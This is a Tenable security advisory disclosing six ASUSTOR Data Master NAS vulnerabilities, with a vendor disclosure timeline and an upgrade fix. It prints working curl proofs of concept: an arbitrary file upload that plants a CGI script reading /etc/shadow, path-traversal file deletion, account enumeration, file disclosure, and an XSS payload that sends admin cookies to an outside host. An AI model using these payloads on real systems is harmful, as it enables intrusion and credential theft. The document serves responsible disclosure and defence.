Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Multiple ASUSTOR Data Master Vulnerabilities

High

Synopsis

While researching an ASUSTOR AS-202T NAS, Tenable found multiple vulnerabilities.

CVE-2018-15694: Authenticated File Upload

An authenticated remote non-administrative attacker can upload a file anywhere on the target filesystem. The target will always name the uploaded file WallPaper_1.jpg. If the "Web Server" feature is enabled on the device then a remote unauthenticated attacker can achieve remote code execution by writing to /cgi-bin/.

$ curl -k -X POST -H 'Content-Type: multipart/form-data; boundary=-pwned-' --data-binary $'-pwned-\x0d\x0aContent-Disposition: form-data; filename=\"1.jpg\"\x0d\x0a\x0d\x0a#!/bin/sh\x0aecho -e \"Content-Type: text/plain\\n\\n\";id;uname -a;cat /etc/shadow\x0d\x0a-pwned-\x0d\x0a'     $'https://192.168.1.10:8001/portal/apis/wallpaper/uploadwallpaper.cgi?sid=9dpDW4U9jUm.2HNb&act=upload&appdirpath=../../../share/Web/cgi-bin/'
{ "success": true }
$ curl -k http://192.168.1.10:80/cgi-bin/WallPaper_1.jpg
 
uid=999(admin) gid=999(administrators) groups=100(users),997(nvradmins),999(administrators)
Linux Clarke 3.10.70 #1 SMP Wed Jun 13 01:06:06 CST 2018 armv7l GNU/Linux
root:$1$WRyOw/55$eN4aG9y2Mc6GFsQ1SMLSm.:17599:0:99999:7:::
avahi:*:15259:0:99999:7:::
...

CVE-2018-15695: Authenticated Arbitrary File Deletion

An authenticated remote non-administrative user can delete any file on the filesystem due to a path traversal vulnerability in wallpaper.cgi.

$ curl -k "https://192.168.1.10:8001/portal/apis/wallpaper/wallpaper.cgi?sid=2LEyW3.EhAYUCWVF&act=removewallpaper&appdirpath=../../../tmp&file=test.file"
 
{ "success": true }

CVE-2018-15696: Authenticated Account Enumeration

An authenticated remote non-administrative user can enumerate all accounts on the device through user.cgi.

$ curl -s -k "https://192.168.1.10:8001/portal/apis/accessControl/user.cgi?sid=C8wyW20b6wYUz31g&act=list&start=0&limit=0&domain=0" | python -m json.tool
{
    "datas": [
        {
            "description": "guest",
            "email": "",
            "group": "-",
            "name": "guest",
            "primary_gid": 65534,
            "status": "Inactive",
            "uid": 998
        },
        {
            "description": "Admin",
            "email": "",
            "group": "administrators",
            "name": "admin",
            "primary_gid": 999,
            "status": "Active",
            "uid": 999
        },
        {
            "description": "",
            "email": "",
            "group": "users",
            "name": "courtney",
            "primary_gid": 100,
            "status": "Active",
            "uid": 1000
        },
        {
            "description": "",
            "email": "",
            "group": "users",
            "name": "lab",
            "primary_gid": 100,
            "status": "Active",
            "uid": 1001
        }
    ],
    "success": true,
    "total": 4
}

CVE-2018-15697: Authenticated File Disclosure

An authenticated remote non-administrative user can access files in a NAS share by specifying the full file path in a request to downloadwallpaper.cgi. In the following example, the bash history file is read from /home/admin/.

$ curl -k 'https://192.168.1.10:8001/portal/apis/wallpaper/downloadwallpaper.cgi?act=download&folder=/home/admin&file=.ash_history&sid=28tDW5U-Ukn7MgAN'
id
ps ax
netstat -an
netstat -a
netstat -tulpn
fuser
fuser 51417/tcp
pstree
uname -a
ls
ps ax
netstat -lupn
su -i
sudo -i
exit

CVE-2018-15698: Authenticated File Disclosure

A remote authenticated administrative user can read the contents of any file on the remote target by sending a request to loginimage.cgi.

$ curl -k "https://192.168.1.10:8001/portal/apis/settings/loginimage.cgi?sid=4K4yW-gqeQazweZ0&act=preview&file=/etc/shadow"
root:$1$WRyOw/55$eN4aG9y2Mc6GFsQ1SMLSm.:17599:0:99999:7:::

CVE-2018-15699: MITM XSS

When a remote administrative user first authenticates the NAS executes a wget to http://update.asustor.com/adm_update.php?architecture=armv7l&model=AS100... and parses the result as a .conf file. The following is an example file:

[AS10XX]
ModelName = AS10XXT
Version = 3.1.4.RID1
ReleaseDate = 2018/06/14
ReleaseNote = http://download.asustor.com/download/docs/releasenotes/RN_ADM_3.1.4.RID1.pdf
DownloadLink = http://download.asustor.com/download/adm/ARM_3.1.4.RID1.img

A man in the middle can modify the version field in order to inject Javascript that steals the administrator's credentials. For example:

Version = pwnme<img src='http://192.168.1.237/pwn?c=' onerror='i=new Image(); i.src=this.src+document.cookie;'/>

Solution

Upgrade to ASUSTOR Data Master 3.1.6 or later.

Disclosure Timeline

07-12-2018 - Vendor notified via [email protected]
07-25-2018 - Vendor sent second notification.
07-25-2018 - An automated response from the vendor indicates lack of permission to send to [email protected]
07-25-2018 - Tenable informed ASUSTOR via webform that their privacy email appears to be broken. Asked for a security contact.
07-25-2018 - ASUSTOR responds to use [email protected]
07-26-2018 - Tenable says [email protected] is broken. Already sent there twice.
07-27-2018 - ASUSTOR incidates [email protected] had been accidentally disabled. Asks Tenable to send again.
07-27-2018 - Tenable sends third and final notice to [email protected]
07-30-2018 - ASUSTOR acknowledges vulns and says they will fix them ASAP.
08-22-2018 - Tenable notices that ASUSTOR pushed fixes in 3.1.6 released on Aug. 15.
08-22-2018 - Tenable contacts ASUSTOR to confirm the fixes are in 3.1.6.
08-23-2018 - Asustor forgot to inform Tenable. Asks Tenable to confirm fixes.
08-24-2018 - Tenable confirms the fixes.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io Vulnerability Management

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now and run your first scan within 60 seconds.

Buy Tenable.io Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets
Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Purchase your 1-, 2-, or 3-year license today.